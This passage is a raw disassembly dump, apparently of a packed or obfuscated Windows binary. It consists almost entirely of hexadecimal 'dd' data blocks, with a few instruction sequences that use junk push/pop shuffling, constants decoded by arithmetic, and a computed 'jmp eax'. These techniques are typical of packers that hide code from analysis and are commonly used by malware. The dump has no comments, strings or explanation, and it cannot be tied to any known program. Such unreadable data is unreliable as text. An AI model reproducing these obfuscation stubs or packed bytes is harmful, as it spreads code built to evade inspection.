1D3ADA39h, 3142B4F7h, 5244h dd 749D4400h, 46C925D0h, 7291379Eh, 47BE2BCAh, 7D8A3295h dd 87346DC7h, 5580A463h, 85709477h, 5681A366h, 82709479h dd 0C5D3A6B5h, 9B502394h, 0CDCDE8DDh, 0BF1529D8h, 0E0AA67DDh dd 0A344EA4Bh, 0Fh, 8831CEDDh, 4392977Dh, 0FB17D52Dh, 8C691F5Bh dd 3E29AC65h, 7E696CA1h, 4423AA5Fh, 7B7C719Ah, 3235B84Fh dd 6F787D8Ah, 2D3ABB4Ah, 7275788Bh, 1BCCC14Eh, 1564868h dd 0BE44E906h, 0F6BDFFF7h, 15E9EEh, 0DB390000h, 7CD1h dd 3 dup(0) dd 0E9000000h, 1375h, 1C42068h, 0BE18E906h, 9468FFF7h dd 0E90601C5h, 0FFF7BE0Eh, 1C6D068h, 0BE04E906h, 0C468FFF7h dd 0E90601C7h, 0FFF7BDFAh, 1CC4968h, 0BDF0E906h, 4568FFF7h dd 0E90601D1h, 0FFF7BDE6h, 1D29D68h, 0BDDCE906h, 745BFFF7h dd 6080679Dh, 806A8DAFh, 55766183h, 81698CB0h, 4DC45E86h dd 0A359AE0Eh, 0CB719A44h, 9448C12Ch, 5B818C31h, 0EA93C079h dd 672394C4h, 608C3E02h, 918326A7h, 0A600883h, 33C25456h dd 0F1326488h, 483DFCEFh, 0ED745881h, 8030CB5h, 0E851EB0Bh dd 0A41BEACFh, 2743D33Ch, 0A3B069B1h, 2F8EFE57h, 0FBD010DAh dd 0AA5C2E19h, 0B47D902Dh, 5E7F7841h, 0CB6B3EAFh, 9D5BF188h dd 2935D023h, 0D673835Dh, 7E6C5348h, 0B5591085h, 8569h dd 0CE8DB400h, 239D53ABh, 65DB7B28h, 977946CEh, 6BC4D3E4h dd 0D1099FCBh, 68FBD128h, 0A441A774h, 649DE07Bh, 3D282996h dd 0C8765C47h, 0FD110EF0h, 0B20F2330h, 625D2F8Eh, 1B1C917Eh dd 7F8F5AB1h, 92735877h, 5E834E1Bh, 7C0C8176h, 0D68564B9h dd 239C54A3h, 46AE6320h, 0EFBB28A2h, 0B831C56Ah, 0C3671BF1h dd 329A715Bh, 0E9661E17h, 69383433h, 0D083935Eh, 239C79A9h dd 75517D88h, 48D551FBh, 10BCh, 4E8A8600h, 0AF00000Dh dd 0E9356A5Dh, 9FAF2D89h, 0AA638C99h, 0F089CA6Fh, 6D299685h dd 90763793h, 2CE5AC19h, 8B0209B3h, 0AAF38DEh, 0BA3BCEEDh dd 3FA04FDFh, 0E051C3B1h, 1DD4848Ah, 13B542E7h, 94025EF0h dd 0BA88934Eh, 0E82F8EC7h, 64770211h, 7F4239Ch, 0F1220FE7h dd 239C6488h, 3B9F1805h, 0E99005CCh, 9A1BF0CEh, 2FA6EDBFh dd 7B628585h, 130178DBh, 25E0239Ch, 2A934D39h, 5C6348D5h dd 0A480966Fh, 60h, 0AC5D8077h, 699E3E29h, 0DA7CB564h dd 1646CE64h, 58953F81h, 0E8861DF2h, 0D712591Ch, 65BD2B37h dd 567A85BCh, 0D16534B9h, 8F1CAC7Eh, 0D5F5022Fh, 0F1EEBB32h dd 45AD41CCh, 8940C526h, 0B76F6504h, 0F1E770D8h, 0FD7CCF5Fh dd 0DC239CA1h, 8F612531h, 5748D6B9h, 78E7F60h, 5960BC52h dd 0C2000001h, 828D31CEh, 39B85E0Bh, 0B5747994h, 0C767A44Ah dd 1E26C428h, 4EE07776h, 0F700F53Ch, 0B1B637D6h, 0DFD8010Ch dd 4FE90DFCh, 79040FEAh, 0F629963Eh, 0F362E509h, 0F3299642h dd 396C0D4Eh, 5FF72996h, 516D98B6h, 66887569h, 72A76687h dd 0A1B26585h, 299671D8h, 6C61A855h, 7A9F99BDh, 29AC5F7Dh dd 71AAD380h, 7A272996h, 6F509FAFh, 588816Ch, 51189D54h dd 30848966h, 0D01ABB8Fh, 68F41AB4h, 0C47DA4FEh, 75788F3Bh dd 3DE450A4h, 8EBDA27Dh, 0E679E568h, 522C2F8Eh, 67B31C8Ah dd 50F43DA9h, 3BDFE5E7h, 0A8C9FE3Ch, 164CDA86h, 40A916EBh dd 0A93346D5h, 0F3B0239Ch, 0F5E2B73Eh, 291C32D5h, 29989CD0h dd 0C9798488h, 14791A68h, 0D40DFA02h, 0DD2A922Dh, 0F512BA39h dd 1366F54Ch, 901DA099h, 58917C61h, 71597CB6h, 0EDA84596h dd 595ABFD7h, 0F804Ch, 8C856C00h, 0BE516D58h, 8A795F86h dd 0BF467352h, 0F512BA1Dh, 0FFBCF54Fh, 0CDF82CDBh, 0FDE81CEFh dd 0CEF92BDEh, 0FAE81CF1h, 0C15B1E3Dh, 73D82394h, 0C246CED5h dd 0B4C69B35h, 1E9082Eh, 0D4740516h, 34F12995h, 0EAE247FDh dd 22F59B38h, 9958FE26h, 0ECCEE934h, 4681FC17h, 1FE2996h dd 0CF314C8h, 300628E1h, 818C31CEh, 0ADB95D0Ch, 0BD3ADF3Bh dd 0E845E91Ch, 8F98032Bh, 17A0592Fh, 0C1BC57B6h, 3E239D72h dd 2645AD41h, 518841C6h, 6E808566h, 72A7CE75h, 0C725239Dh dd 86665144h, 5E400C81h, 250D2BD5h, 7C6A3DC7h, 0ABF5070h dd 23CB17EEh, 453C3DDEh, 0CCB9239Dh, 1D0BE52Ah, 0E4DB48D6h dd 0CE9B12FBh, 0F91DE8D1h, 1122Dh, 638CF700h, 0BB8623AAh dd 9685DDA0h, 89AD5A29h, 5C85826Ah, 78E7563h, 0A023BC52h dd 29968AB9h, 79A5677h, 0FC07B1D4h, 53CC20F9h, 29E4093Eh dd 0F53CF5A4h, 40FEA4Fh, 29965E79h, 18F7D7F6h, 11AE3DD1h dd 13BA45FCh, 138760F6h, 5DA45D85h, 965EBBBEh, 0AB4B3829h dd 8791CD8Eh, 57442F8Fh, 54B715A2h, 56C078C2h, 0D52CD50Ch dd 9D353346h, 63F3B023h, 9925FCF0h, 5E9D629h, 40D6830Ah dd 620EAEB8h, 4C369097h, 31A46B53h, 6F88B178h, 7A85BC4Bh dd 6841B451h, 61896CC6h, 9E6E55A6h, 7B74BFD7h, 0E0C7Ah dd 38D9F800h, 12FDE104h, 26DD0BEAh, 13F2D7FEh, 21E606F1h dd 0ABE829FBh, 0B114C83Fh, 0F9DC000Bh, 0E20537D2h, 6EC10FDh dd 0C0572231h, 6FD42394h, 0B7608CD1h, 9685E19Ch, 68A15E29h dd 0B2CB88B1h, 28299685h, 985144C5h, 5C7E7926h, 8CAD87A7h dd 0C8590988h, 0F91DD451h, 138D5FAh, 0BC31D6F6h, 4AEF49EDh dd 0F8FD10ADh, 8C270D21h, 0CA6FAA63h, 9685F089h, 9EB06D29h dd 1430A445h, 0DFF68D2Ah, 0D0EDFC12h, 0B06B0E4Dh, 3BE82995h dd 8F0C4EF6h, 0DB065CCAh, 8EC8D240h, 7757602Fh, 0B2441598h dd 30A45D4Ah, 5462D047h, 0F748EEAFh, 629FFC5Ch, 2FB92FCDh dd 0A6737A89h, 76779239h, 8EB36EA3h, 3ED5A8B3h, 555279D8h dd 47B88EC1h, 0E9D67FD1h, 18F7D704h, 880DC495h, 96B53DD1h dd 0E31ED338h, 71929DF1h, 6ECC04Bh, 35AE405Eh, 13B533A5h dd 0F70039F0h, 0B1B637D6h, 0CDCAFF0Ah, 0C59419ECh, 32570431h dd 0D279DBE3h, 0F00609E5h, 0D9E61B08h, 0C9A015F0h, 0C6310825h dd 0FC09B229h, 45E920F9h, 20C449A6h, 681142F7h, 0E56DE259h dd 0F6D71638h, 2DDBBC17h, 0D0E10F96h, 0CD0E5h, 0FC15BC00h dd 0CE419D48h, 0FA09AF16h, 0CF36A342h, 0E522CA2Dh, 0EFACE53Fh dd 0DD083CCBh, 0EDD80CFFh, 0DE093BCEh, 0EAD80C01h, 0BF6B0E4Dh dd 83E82394h, 0BA638CC5h, 0CA699C3Dh, 299685AFh, 6046C925h dd 0C2676EA3h, 7B729535h, 95E873AEh, 12299685h, 0F3650115h dd 6C03818Ah, 9A191010h, 9BDE36AFh, 0D702C7BCh, 8F91CA3Ch dd 0B616352Fh, 448D5C51h, 4EBB229Dh, 0ED9B7196h, 8FD7EA1Eh dd 0EC8DCE73h, 69239CAFh, 705B9ABCh, 0E6F1499h, 0E0239CB0h dd 239CBF99h, 0A73A059h, 80239CA0h, 7524A95Ah, 0E6829491h dd 8EF2A70h, 0F9B025E6h, 0B3BD855h, 312995B4h, 3FCEEF08h dd 0A38AC9B4h, 0B559461Dh, 0AC4D403Dh, 63783628h, 0E2176C2Dh dd 0A41C4831h, 36D8C51Dh, 4C0716B7h, 1DA41C31h, 0C5C847A7h dd 17C3B214h, 0E52CFDF0h, 6870CF2Ch, 1122BFD0h, 0BDC24h dd 0E829C800h, 0E22D9134h, 0D62D9B3Ah, 0E322C72Eh, 0D1369641h dd 0DB98192Bh, 1E418EFh, 0E90C30DBh, 0F2D50702h, 369C40CDh dd 0BEA7D281h, 0BF242394h, 4169FF01h, 0FDF015B6h, 856E0F2Ch dd 3EEB2996h, 9B14EF3h, 26DB58FEh, 35D93499h, 8F9A3012h dd 0C57E562Fh, 4CC32BEAh, 53C9049h, 0BB4A6F45h, 84AA5F3Ah dd 6D8AAF6Ch, 6237BE51h, 0AC1413CCh, 9941BE63h, 9FB1C451h dd 8E4384A9h, 0C727CE68h, 1BA44548h, 845558AFh, 3B6FF672h dd 5D203B06h, 0DA239D74h, 0D52C092Dh, 850805EAh, 0A60F42D4h dd 0B3239D74h, 65F64BF6h, 239D7414h, 69829491h, 76A55CE1h dd 239D7403h, 94738380h, 958A6646h, 9D73F386h, 7EB37023h dd 73FE7BC6h, 41BE239Dh, 0A8D1829Dh, 25239D73h, 6D3CB178h dd 0A4049DC9h, 0BDECF38h, 0A1001BC6h, 0D6239D73h, 461CF029h dd 3DE783CEh, 0C108FFEBh, 0AE26032Dh, 9E334E7Ah, 1F0061Ah dd 2EDF00DDh, 0E91AC0A7h, 930E920h, 9D1A2F4Ah, 0C245A523h dd 0D60F1FDCh, 9D1B402Dh dd 1DF2CE23h, 0DF2E8F98h, 0F7E32AEEh, 0EEFC1327h, 0F72DE2FEh dd 90FBBA12h, 0F3C8079Ah, 9CD81568h, 5C959223h, 1E8F7663h dd 0A44CAB4Bh, 0B2779239h, 0D8A1B287h, 55239CD7h, 0B65D86A8h dd 239CD80Fh, 0BFADB950h, 1C4CF01Fh, 55AC5585h, 0D0C8377Fh dd 21353849h, 9CF8482Eh, 0D7DECB23h, 0FE5CB62Ch, 817EC397h dd 5E9DB15Ch, 0ABDA9670h, 0DAA3775h, 625A5BAEh, 6F4DEED0h dd 3ED01948h, 22EE2h, 69FF4400h, 0CBEF0831h, 0FE1D1A3Ch dd 2F8FA548h, 3CC37E2Bh, 61A24893h, 6C5174A8h, 5D8A8484h dd 36FB5675h, 5425360Bh, 0D1239D76h, 1AA942D4h, 0AAE421BDh dd 18985477h, 1723A107h, 8B8174BDh, 0C3C74628h, 0A03EB932h dd 1BEA6A6Bh, 5B1E0FCFh, 0F30475A6h, 84819C56h, 0A7479372h dd 535AAB10h, 58B31986h, 779637B6h, 0A1DC77C2h, 1E9C56F2h dd 8463CD61h, 7E3BB25Bh, 9CB25D81h, 0F3D759C0h, 1C8A114h dd 36CFFCDBh, 5425360Bh, 0D19C56F2h, 0BEA942D4h, 0CF38EC21h dd 0AF0506E8h, 0C3EDB2C2h, 8A698D6Dh, 9B71A865h, 741D93B2h dd 11DA7C47h, 0E1CDC582h, 3422150Eh, 0CB769738h, 6294E576h dd 141129CCh, 308D3802h, 0E811D8DDh, 0FD1EEDCFh, 29CC627Ch dd 16F3DAF9h, 0B62F3BDBh, 2D57BD64h, 3F490A09h, 39002DC1h dd 287102D3h, 477143C4h, 5AED0128h, 29CC181Fh, 0DC3DDF9Ch dd 0A114FBE3h, 23C726C8h, 0E079F1E4h, 23AA5B80h, 0BB86BB76h dd 0CD6E9744h, 29CC18ACh, 4617B37h, 0D4CA0E34h, 0FD0EB027h dd 200D21F8h, 1D02DED9h, 0CBEE7BFEh, 0C60BF829h, 0EE601D30h dd 28D529CBh, 21ECD1F4h, 2BDAFFF8h, 865FEFAAh, 13CE39A1h dd 0EE4C2DEEh, 0DCC929CBh, 0E229B13Ah, 36D7F8F4h, 5425360Bh dd 0D129CBEEh, 0CDF842D4h, 0D1981DF0h, 0EE92EB28h, 120F29CBh dd 8CF960FCh, 64A5E74Ch, 6C955C1Fh, 0CC2FD6AFh, 3CC37E29h dd 93E6758Eh, 1029CC2Fh, 0EFB0313h, 3FCEEFD6h, 0A614AB4Eh dd 933AB95Dh, 0A27AC659h, 0CC7B0871h, 34988529h, 43BC64E2h dd 0A782739Ah, 0E6216B62h, 500B36F8h, 29CC242Dh, 9A59FDAAh dd 9621D835h, 0EBE2B537h, 0EBA4F5A1h, 54FAAF26h, 3BD2FBDAh dd 4E2A0E06h, 5A2E0DC3h, 0BB408215h, 82EE38Ch, 80D24BDFh dd 0A73A059h, 8729CC6Eh, 9CB7749Ah, 29CC6DEDh, 50B72352h dd 59846399h, 0C57C3DB0h, 0CC6DE396h, 93A36029h, 0E51C4ED7h dd 0F618F5DAh, 6D6F1A39h, 0DFCC29CCh, 0CC6D4934h, 10D9C629h dd 1DF2CEE9h, 8CE13FF9h, 0E099BA63h, 5D299685h, 89B069A0h dd 9685AFCAh, 45C82529h, 78259950h, 7AEC5CD6h, 1340F920h dd 2996856Ah, 8588F122h, 18052996h, 0D855F9A6h, 8F9DFF3Bh dd 0DC05022Fh, 0FEDFF8E3h, 890CFFDDh, 0C59419D0h, 0C82FD80Ch dd 0F417B528h, 0ECE12801h, 0F3DA193Dh, 0A213FCE4h, 1F8B02C7h dd 51A85189h, 9D6CB7C2h, 0A7473423h, 0A748AF8Ah, 857DD066h dd 0F0299681h, 15F7C233h, 0D1080ABBh, 8BEE2D39h, 81DA45Ah dd 0D40D61Bh, 1DA46A68h, 7761CF59h, 659C458Ch, 6E89C16Fh dd 6B8B74BFh, 9D895EE8h, 595C4923h, 826A714Eh, 9A6F4C85h dd 0F8A5C927h, 757EEF7h, 9C430000h, 0C828CF75h, 88329547h dd 0BD1EC97Bh, 89319448h, 356CC67Eh, 7BA16686h, 6399725Ch dd 8CB05984h, 53898469h, 0F28BC871h, 6F2394B9h, 46CE36FAh dd 0EC5D3C00h, 0F672841Ah, 0F8FF3A60h, 0E9C035D6h, 1737CCEEh dd 62EDDF1Ah, 6895D172h, 0F6084BEBh, 0AC2F8F8Fh, 0CD61A813h dd 45A74625h, 1A823CD9h, 0A429E0D7h, 0FA053CF5h, 0B8BF36D3h dd 183EF314h, 308D2ACFh, 0C5C83FABh, 1639DD14h, 239CF760h dd 0D2FB043Dh, 8582481Eh, 58918467h, 93728455h, 0A8ED7F47h dd 46AA48D6h, 75000001h, 643C99Fh, 490A9500h, 239D7530h dd 1539F0ADh, 85C1E81Fh, 0E8112996h, 981DECCFh, 41E82DC1h dd 5CF217B6h, 27DD308Dh, 611C3702h, 0DE299685h, 0F419B621h dd 5A062801h, 926792C0h, 0AF0EC325h, 0CC7F8F5Ah, 299685B9h dd 79C07926h, 96859FDAh, 59421C29h, 39D70423h, 9B44EA1Fh dd 42A8339Ch, 0D7DE2D8Fh, 13C6C702h, 0BB8BD0C1h, 9F6AE342h dd 0AD607D7Ah, 21BBAF89h, 62F148F1h, 29959317h, 0CFF0E794h dd 0E61B183Eh, 931AF5D9h, 641D30C6h, 0D1299593h, 0C7CE3BA2h dd 0D1D6D712h, 4B0831ECh, 29959332h, 1861F2AFh, 95299593h dd 41F821E8h, 95936712h, 1737E429h, 0DA03FC1Dh, 47E7C233h dd 0B261811Bh, 299593C7h, 93A9D47Fh, 79262995h, 0A8519885h dd 95942E6Bh, 0A911AE29h, 6A50575Eh, 36BE5099h, 0BABF4449h dd 9B2995D3h, 71C86674h, 955397E2h, 99351429h, 0CF9BBB76h dd 21E8D355h, 0DE02FDACh, 0B641F831h, 2801F419h, 0E7D02906h dd 5FF20403h, 2995533Ah, 0A9D47FBAh, 26299552h, 601DD579h dd 0D0E153B9h, 24C6295Eh, 32689539h, 2135FC99h, 0E305F217h dd 72DD0E20h, 1C000001h, 3DD138A3h, 8731CEF7h, 8EA0797Ch dd 0E31E44D2h, 991FB61Eh, 0DBD08F5Eh, 95E13D40h, 0D2CDBA29h dd 0FBAE1FECh, 0DE23DE5Bh, 95E13C3Dh, 2ACCB929h, 8EF61F27h dd 0E41D0A2Fh, 0F618EFDBh, 0F5E40AEDh, 0EDBC31D4h, 4617FD24h dd 7F5E7171h, 7EEA44EAh, 0B58CB5E5h, 7164A14Ah, 0CEB396B8h dd 43239C9Fh, 0FDE39E29h, 6297B991h, 9CC9C8B1h, 91584523h dd 0F7829168h, 74239CC9h, 57927555h, 0CFA52EB7h, 0B0239CC9h dd 0CB4C7087h, 9CC9ED90h, 74BD6A23h, 0E29BB881h, 5F239CC9h dd 38C767A2h, 0E5805C2Ah, 0CA4548D6h, 98000000h, 0C1C7B261h dd 2544239Ch, 6A8C45C8h, 3664FFD4h, 0C546090Bh, 45DF9B95h dd 57BD84B1h, 9868C7CFh, 0D5789E37h, 299617A4h, 9279635Ch dd 50A84E1Bh, 35976253h, 0FBEFC994h, 2EBD5170h, 91C97B90h dd 0C045A60Ah, 2CD51CCDh, 8EEF2CD5h, 46299640h, 96406415h dd 0C224E129h, 0A71E31C5h, 8C299640h, 4D626A8Fh, 8A9D819h dd 915891A5h, 0B244C926h, 9668DA9Fh, 96775829h, 51B2181Fh dd 0F1DDC85Ch, 0E8F6152Dh, 1D60FB46h, 9A2995E8h, 861D49EDh dd 9851BE22h, 27B9861h, 7F2995E9h, 7ABF6C82h, 8BAB5E7Dh dd 95E901C8h, 3BD82129h, 2995E842h, 0C42CC2BFh, 0E8512CE7h dd 0D1CE2995h, 0BC43E418h, 0E629C510h, 5FEF3AEFh, 0AA638CD9h dd 0A566886Fh, 0AFCA8930h, 2C299685h, 4B94BA6Fh, 7358836Ch dd 15A25792h, 8D5C51B4h, 0D9BCF69h, 8B5BEEB8h, 8B2D02B5h dd 305BB178h, 0FB991F0Eh, 0B8639E53h, 2F8F2D8Ah, 5E59807Dh dd 5306877Ch, 0DC992AC3h, 0BB239CC9h, 0B9547986h, 0C5699E3Eh dd 825E2836h, 5248D6E5h, 0C2116CA7h, 8AC9239Ch, 239CC1EFh dd 524FAF6Ch, 12838665h, 6D6BB757h, 0B6000000h, 6469A449h dd 0CE9BA1B5h, 0B828D31h, 8247C02Ch, 3C66F06Ch, 35D2FA05h dd 27071421h, 422F8F98h, 9C659C45h, 9D72FE7Fh, 6D8E7B23h dd 239D730Ch, 717A9C89h, 97E271C8h, 14239D72h, 0F584C767h dd 73239D72h, 0D6D6A64Ah, 0CCD2E0BFh, 41A79005h, 10D92A90h dd 2B37109Dh, 3422ED73h, 0A95C7D7Ah, 0AFEC8085h, 23A948D6h dd 7B000001h, 23AA638Ch, 0DDA0BB86h, 5A299685h, 826A89ADh dd 0C6271085h, 0BD22B715h, 5D509950h, 6498755Ah, 968A78DDh dd 74993629h, 7E8B32CDh, 56775ED8h, 0CE7336B7h, 9680EC8Dh dd 9ABC6929h, 22E558CEh, 9A2B01ACh, 6E0F4CF5h, 0EB29965Ah dd 0F34EF33Eh, 965A1568h, 81959229h, 6FAFA7B4h, 9D7A2F8Fh dd 9D43FB7Eh, 0BE497123h dd 627C6237h, 6E214A04h, 7AAF7A6Eh, 0D06F65C2h, 65A24ABAh dd 5A7CB28Fh, 0B23EA8B4h, 0C35FC09h, 8F374208h, 3197B543h dd 3AF717D2h, 98894719h, 0C4ECF629h, 97785839h, 38714316h dd 20D910A2h, 2DD43397h, 0DADB2892h, 5279040Fh, 9F61DA1h dd 0E1042EC0h, 6EAD0EF9h, 34BFD732h, 25B3A3Bh, 0A8470000h dd 0AC14B369h, 0B416C163h, 0A14AAD4Fh, 0B515C064h, 1998AA52h dd 6F95725Ah, 7FA56688h, 70947558h, 7FA56885h, 677A455h dd 832394B5h, 608C2ACEh, 6D5275A7h, 5E7E79A0h, 9AE370A9h dd 17299685h, 0CD6AC46Ah, 0EB8ECD74h, 68299685h, 85DDA0BBh dd 0AD5A2996h, 73CEB389h, 968595E8h, 1151229h, 72A7F365h dd 2BA26585h, 0C05BD87Eh, 2F8F986Eh, 6A199C89h, 239D730Bh dd 866A55EAh, 0BAC35089h, 37239D72h, 955A44Ah, 0D64EA33Dh dd 1246448h, 0CEBE0000h, 0A5E7B846h, 20364B8Ah, 0AC21ECD1h dd 3BC8F20Dh, 193ADFBAh, 29963B60h, 0DF0E20DDh, 0E0890CFBh dd 3B7FFA19h, 0FFFC2996h, 43D33498h, 96404910h, 0AE60729h dd 0C428E0B0h, 35975243h, 3BF6F1AAh, 415B0E06h, 4421CE8Ah dd 805D88B2h, 9861088Dh, 9602027Bh, 6C827F29h, 53C66F0h dd 8F16FC56h, 0D4F5022Fh, 0EB671241h, 37E4239Ch, 0CA945CF2h dd 1A246C49h, 933BA4C3h, 0DB8FB57Ch, 83F6254Dh, 239D72h dd 0AC13CE03h, 16C3CA43h, 0DD283300h, 85299962h, 41B4517Ah dd 812EC668h, 0A181A7D2h, 0B277241Dh, 0D8A1B287h, 551DA181h dd 0EA986A8h, 44A359AEh, 8BA46F98h, 0F1BFD705h, 103F500h dd 0D0EF0000h, 943C9B41h, 0BC1EC97Bh, 89329547h, 0BD1DC87Ch dd 180924Ah, 679D6A52h, 77AD5E80h, 689C6D50h, 77AD607Dh dd 0E6FAC4Dh, 8B2394B4h, 608C22E6h, 0F91BFC8Ah, 5B969E7Ah dd 0E5702EA6h, 0AC1DD23Dh, 13C6C740h, 19FE38DEh, 2E4A33E0h dd 0DAC72996h, 2E89F41Fh, 19062996h, 34D9F6F5h, 638C2E10h dd 9B4423AAh, 5CDBDF55h, 69A061C6h, 0C91187B3h, 0FAE3E910h dd 878D25E9h, 1A302333h, 0FD2F9808h, 0E8EC8D00h, 7051CEC8h dd 0F7F618F4h, 240537D6h, 37D72E9Bh, 17C417B8h, 0C69F9DD1h dd 66ABE1CFh, 28992AABh, 0E9E64D1h, 0CFAA69AEh, 4CA8C4B2h dd 14139A4Fh, 1F6D60A9h, 3124FAE8h, 0BB240856h, 0AF10A752h dd 6C82575Eh, 21BA23C2h, 55AE1CB9h, 89408960h, 1DB62304h dd 5F484DC0h, 8B468B7Ah, 5D89800Ah, 7D9F6E4Fh, 1598755Ah dd 8A816B54h, 0B559AC0Dh, 834h, 557A8500h, 0FA096B8h, 0AC658C39h dd 6CA13E29h, 0AA5F7E69h, 719A4423h, 0B84F7B7Ch, 7D8A3235h dd 0BB4A6F78h, 788B2D3Ah, 0C14E7275h, 89521BCCh, 4C281E2h dd 55000000h, 4BDh, 5DEA2900h, 5C241487h, 81E18951h, 4C1h dd 4E98100h, 87000000h, 895C240Ch ; --------------------------------------------------------------------------- add al, 24h push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp push edx push 49161379h pop edx sub edx, 0A1E723Dh xor edx, 5516412Dh add edx, 9A1FE120h mov eax, edx mov edx, [esp] add esp, 4 push 1215h mov [esp], esp add dword ptr [esp], 4 pop ebp sub esp, 4 mov [esp], eax pop dword ptr [ebp+8] push dword ptr [esp] pop ebp add esp, 4 mov eax, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5734FA ; --------------------------------------------------------------------------- dw 479Ah ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- mov eax, 601D3C5h add eax, ebp jmp eax ; --------------------------------------------------------------------------- dw 529Fh dd 95230F7Fh, 86440F63h, 0DE80705h, 9A000000h, 2AE11BAFh dd 33D8DCF9h, 9D629391h, 3880Fh, 0B70F0000h, 0AE959F9h dd 0A4000000h, 2C3B319Eh, 3D253766h, 32C1810Ch, 81000065h dd 0A26DBED8h, 66DB2B3Fh, 8BE58AB8h, 0BE661914h, 0EA81C1CCh dd 32DB2EF2h, 2840Fh, 0C38B0000h, 13DCC281h, 26B0343Dh dd 0E6ABEA81h, 148907D3h, 0EB81F519h, 7003686Ch, 8B0Fh dd 0C3810000h, 70036868h, 48A0Fh, 0B8660000h, 0FB814D64h dd 0FFFF9B78h, 0F850Fh, 0F1BF0000h, 0E954C20Fh, 1Dh, 6453FA53h dd 0D613B855h, 98E90583h, 0DCFFFFFFh, 0B494E918h, 0F844DC25h dd 6D35F156h, 0EE88Fh, 87060000h, 0E52AC544h, 0BF83750Ch dd 94E19DB5h, 58F0Fh, 81660000h, 5EA627CBh, 81F88B60h dd 4DC7B8C6h, 0C6816146h, 0E6A9h, 0AE8h, 0F171BC00h, 0B3B5DD5Eh dd 0F5AFEB2h, 383h, 0C68B6600h, 0F088B958h, 0F1810FB7h dd 0FB7C9F3h, 8EAAE881h, 36FF5A59h, 0F575FFCh, 0D85h, 8E900h dd 7D070000h, 44E773DFh, 81581EA5h, 7943E4EFh, 814CB32Ch dd 0ECE98CEFh, 0DFBF0F0Bh, 2974EF81h, 0D08B7A0Fh, 0EE833E89h dd 6E904h, 56610000h, 4054B678h, 1E981h, 850F0000h, 0Ch dd 19E9F5h, 0DEEC0000h, 1F952C20h, 0E954D280h, 0FFFFFF9Eh dd 12372D5Ch, 2B6658h, 0E8320947h, 0Bh, 0C523EE97h, 59A77D5Fh dd 0FA9C471h, 8159DABFh, 0BD5442E7h, 0B3C18136h, 0BA000068h dd 21CFD390h, 0CA6DF281h, 318B21CFh, 0F33BC681h, 14E85532h dd 0F4000000h, 0DF8C1DB9h, 387D76C8h, 9A0B1CACh, 0B0CFAE30h dd 819AA37Fh, 72B950E7h, 0EE815B6Bh, 13723A30h, 5099EE81h dd 0B70F0407h, 0CE856DAh, 29000000h, 85F945A7h, 0B3B601E4h dd 563E9505h, 5F586160h, 0CF81018Fh, 1F198ECCh, 6604E983h dd 16E7D381h, 0F01EA83h, 1885h, 31E900h, 661B0000h, 5D31E8E4h dd 54AEE76Dh, 0ABEEEFB8h, 0C7AE781Eh, 5890F45h, 0BB000000h dd 4BC5C294h, 0FFFF71E9h, 0C2D865FFh, 4DB852FFh, 70A254C8h dd 8DE188A1h, 1D7C98Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1604h, 0C3514100h, 663CCF6Ah, 0EA81F88Bh dd 58453172h, 0CDD8D89h, 0CE805F9h, 0F0000000h, 300A3A7Eh dd 8F0E823Eh, 0BEFC7A7Bh, 4EC80768h, 0C185C75Eh, 1C05F926h dd 6A000064h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 8D6FC356h, 4A3036BDh, 60AB1356h dd 10E9h, 55D47F00h, 9676C34Fh, 443FAADEh, 0F3EE7BDh, 0C6E381FAh dd 61729DC2h, 0FD85C7h, 5F9h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 98D2F1C3h dd 581E8B41h, 89D34CA2h, 0F917C99Dh, 0A1B58B05h, 6605F90Dh dd 0FFC0BDB8h, 0F91091B5h, 65958905h, 0FF05F90Bh, 0F920D595h dd 50006A05h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h dd 0C3504000h, 0D0803B59h, 0CDBD89EAh, 6A05F905h, 0ED95FF00h dd 8B05F91Ah, 0C409EBC0h, 0E53BD8D4h, 96550573h, 0ECE9h dd 0 dd 81063700h, 81CE037Ch, 80C0587Ch, 9010057Ch, 9010ED7Ch dd 8000007Ch, 27Ch, 5 dup(0) dd 80ADA000h, 7Ch, 2Bh dup(0) dd 200h, 0AB301400h, 3F4D4414h, 11426503h, 3353D06Ch, 754C6F54h dd 1564AA3Dh, 4E361132h, 1560063Dh, 0C5E74432h, 7614FE64h dd 0DCDB9253h, 15637103h, 0A8E54D47h, 109F3087h, 457F6532h dd 0ADA60361h, 15664023h, 3D8FA7BBh, 88EB14CBh, 109D7BB6h dd 4D3D97CDh, 7D39FB1h, 616614CBh, 0AD35D825h, 15664023h dd 3D8FA7BBh, 88EB14CBh, 109D7841h, 4D3D97CDh, 0CAE74452h dd 108E4F83h, 0CA668832h, 0B56C0E1Eh, 10ACA354h, 0EC074BDAh dd 0A4B60952h, 73524BEDh, 4607F1B9h, 0CDEFD2BBh, 944294B9h dd 156640F6h, 14EB2D32h, 0ED661132h, 0C29E35B1h, 1A664233h dd 1566A4B6h, 1569F832h, 15158832h, 0C0C21E0Dh, 0D2CD9F12h dd 0C88FD2CAh, 188FE854h, 0C8664432h, 76C74F2Dh, 0B6D35CCDh dd 0CF80837Ah, 15664CDAh, 5B717F32h, 0AEC70453h, 0EBEDEEDFh dd 90EB256Bh, 1367057Eh, 0BCDD7752h, 156B60C9h, 0C3464432h dd 3E1E338Ah, 53905450h, 94817CAFh, 0F0FA6DD0h, 0EA077B11h dd 9C6971E2h, 15668830h, 749EA681h, 321AA7BFh, 94691733h dd 1566883Eh, 1560CE3Dh, 93692232h, 15661132h, 0D39F58CDh dd 0EC7EDDB7h, 108F7437h, 0BC661132h, 166AE329h, 1575CA3Dh dd 1B8F2232h, 0A9661132h, 15AC0CC7h, 477BEBDEh, 4FFF35ACh dd 0AD34798Ch, 0EA93149Ah, 0EC6E9587h, 1563CB37h, 813F1132h dd 983D0C56h, 0E9A354B7h, 1DE22D37h, 1A661132h, 15668AB4h dd 0EA072432h, 90EFDAE2h, 109F01C3h, 156B033Dh, 94064432h dd 696707D9h, 12AEA813h, 0FC079DEBh, 1566443Ch, 970E0A5Dh dd 3B8899BAh, 92124E5Ch, 90A1B3A0h, 109F3673h, 15661132h dd 0C2D98752h, 0D30783B9h, 0EC7EBBB7h, 